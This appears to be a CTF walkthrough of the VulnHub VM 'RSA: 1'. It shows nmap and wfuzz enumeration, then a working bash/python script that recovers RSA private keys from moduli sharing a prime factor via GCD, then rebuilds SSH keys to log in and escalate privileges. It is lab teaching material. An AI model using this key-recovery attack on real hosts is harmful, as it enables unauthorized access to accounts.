This post documents the complete walkthrough of RSA: 1, a boot2root VM created by Fred Wemeijer, and hosted at VulnHub. If you are uncomfortable with spoilers, please stop reading now.

On this post

Background

Somewhere in the Internet.

In February 2012, two groups of researchers revealed that large numbers of RSA encryption keys that are actively used on the Internet can be cracked because the random numbers used to generate these keys were not random enough.

Information Gathering

Let’s start with a nmap scan to establish the available services in the host.

# nmap -n -v -Pn -p- -A --reason -oN nmap.txt 192.168.30.129 ... PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 64 OpenSSH 7.7 (protocol 2.0) | ssh-hostkey: | 2048 50:97:eb:98:36:19:57:5d:12:ed:8f:cf:25:62:5d:0d (RSA) | 256 93:63:87:99:a3:85:f5:bf:c5:9d:9f:3c:58:62:74:a9 (ECDSA) |_ 256 4e:3c:13:17:bf:bb:2a:91:0c:51:f3:85:4f:29:25:20 (ED25519) 80/tcp open http syn-ack ttl 64 OpenBSD httpd | http-methods: |_ Supported Methods: GET HEAD |_http-server-header: OpenBSD httpd |_http-title: Site doesn't have a title (text/html).

nmap finds 22/tcp and 80/tcp open. Let’s explore the http service first.

Directory/File Enumeration

Let’s see if we can get anything with wfuzz .

# wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 http://192.168.30.129/FUZZ ******************************************************** * Wfuzz 2.3 - The Web Fuzzer * ******************************************************** Target: http://192.168.30.129/FUZZ Total requests: 950 ================================================================== ID Response Lines Word Chars Payload ================================================================== 000729: C=301 17 L 48 W 443 Ch "secrets" Total time: 1.979362 Processed Requests: 950 Filtered Requests: 949 Requests/sec.: 479.9526

We have a secrets directory! Let’s carry on and see what can we find inside it.

# wfuzz -w /usr/share/seclists/Discovery/Web-Content/common.txt --hc 404 http://192.168.30.129/secrets/FUZZ ******************************************************** * Wfuzz 2.3 - The Web Fuzzer * ******************************************************** Target: http://192.168.30.129/secrets/FUZZ Total requests: 4593 ================================================================== ID Response Lines Word Chars Payload ================================================================== 000660: C=200 9 L 27 W 3546 Ch "authorized_keys" Total time: 8.108723 Processed Requests: 4593 Filtered Requests: 4592 Requests/sec.: 566.4269

What do we have here? A authorized_keys ??!!

Weak RSA Keys

Here’s what inside authorized_keys .

If I had to guess, I would say this is the concatenation of all the authorized_keys from user1 to user9 . We know authorized_keys typically contains the public component of the SSH RSA key pair.

Here’s an example of the SSH public key of user1 .

It’s apparent that we are dealing with nine RSA 2048-bit key pairs.

Heninger et al.’s research paper found that RSA and DSA can fail catastrophically when used with malfunctioning random number generators. Specifically, if an attacker can find two distinct RSA moduli N 1 and N 2 that share a prime factor p but have different second prime factors q 1 and q 2 , then the attacker can easily factor both moduli by computing their greatest common divisor (GCD), p, and dividing to find q 1 and q 2 . The attacker can then compute both private keys according to this equation:

Given this insight, I wrote a bash script, with ssh-keygen , openssl , and python as the main drivers, to first extract the moduli from the public keys, and then to calculate the GCD (p) among 9C 2 pairs, follow by their q 1 and q 2 respectively.

attack.sh

#!/bin/bash FILE = authorized_keys # extract the SSH public keys from FILE while read line ; do echo $line > $( cut -d ' ' -f3 <<< $line ) done < $FILE # convert SSH public key to RSA public key # and then extract the modulus from them for i in $( seq 1 9 ) ; do ssh-keygen -e -m PEM -f user ${ i } @rsafun \ | openssl rsa \ -RSAPublicKey_in \ -in - \ -modulus \ -noout \ | cut -d '=' -f2 > user ${ i } @rsafun.n done # write python script cat << EOF > gcd.py from itertools import combinations from fractions import gcd list = [] dict = {} result = [] # build list for i in range(9): list.append(str(i+1)) # build dictionary for x in list: dict[x] = int(open('user' + x + '@rsafun.n', 'r').read(), 16) # gcd for (i, j) in combinations(list, 2): p = gcd(dict[i], dict[j]) if (p != 1): result.append((i, j, p, dict[i]/p, dict[j]/p)) break print result EOF # execute the python script python gcd.py # clean up rm user * gcd.py

Let’s run attack.sh .

# ./attack.sh [('2', '4', 154417972435807005071073724522212444390586453823829143415803831059147415798074017502040314003763421243774270757922304211573942665136361376688205405360960917939484579087307177536921412011411703961828583167653172004502917347120641950199480561070177933253465927358617195370782866425595898798109004224439814798057L, 154138482778403634422324585381094741396112094157924874391263694520821571222861298674105765179306306537493034017749692130071107610613435921888902004138078680460276016821583678249932808105907339203963186655685583329163374562641235896970977501756291570424272228689701476926803652905250957577229144433204452772127L, 153278113332014430314822533712203891727299288836706793970670250689211994721080531031391472583116454287125291108401187935648312751844041461411234500935073837231805656247842743814066543045935616374230913460500896653516311833291062554618374636514900539486293512925569339760306744210644153977272176465759656466897L)]

We can see that user2 and user4 shared a common p. Armed with p, q 1 , and q 2 , we can reconstruct the RSA private key of user2 and user4 with rsatool.py like so.

Reconstruct user2 ’s RSA private key

rsatool.py -o user2.pem -p 154417972435807005071073724522212444390586453823829143415803831059147415798074017502040314003763421243774270757922304211573942665136361376688205405360960917939484579087307177536921412011411703961828583167653172004502917347120641950199480561070177933253465927358617195370782866425595898798109004224439814798057 -q 154138482778403634422324585381094741396112094157924874391263694520821571222861298674105765179306306537493034017749692130071107610613435921888902004138078680460276016821583678249932808105907339203963186655685583329163374562641235896970977501756291570424272228689701476926803652905250957577229144433204452772127

Reconstruct user4 ’s RSA private key

rsatool.py -o user4.pem -p 154417972435807005071073724522212444390586453823829143415803831059147415798074017502040314003763421243774270757922304211573942665136361376688205405360960917939484579087307177536921412011411703961828583167653172004502917347120641950199480561070177933253465927358617195370782866425595898798109004224439814798057 -q 153278113332014430314822533712203891727299288836706793970670250689211994721080531031391472583116454287125291108401187935648312751844041461411234500935073837231805656247842743814066543045935616374230913460500896653516311833291062554618374636514900539486293512925569339760306744210644153977272176465759656466897

We can further convert both RSA private keys to the OpenSSH format with puttygen to log in to user2 ’s and user4 ’s account respectively.

# puttygen user2.pem -o user2 -O private-openssh-new # puttygen user4.pem -o user4 -O private-openssh-new

Low-Privilege Shell

Log in to user2 ’s account

Log in to user4 ’s account

Privilege Escalation

During enumeration of user2 ’s account, I notice that root left an encrypted SMIME message for user2 .

Let’s decrypt the message.

This is not your SMIME format. This is the DER format.

From here, we can see that the message is encrypted with RSA. Good thing we have user2 ’s RSA private key.

With root ’s password, getting the flag is trivial.

Afterthought

Who knew RSA could offer so much fun?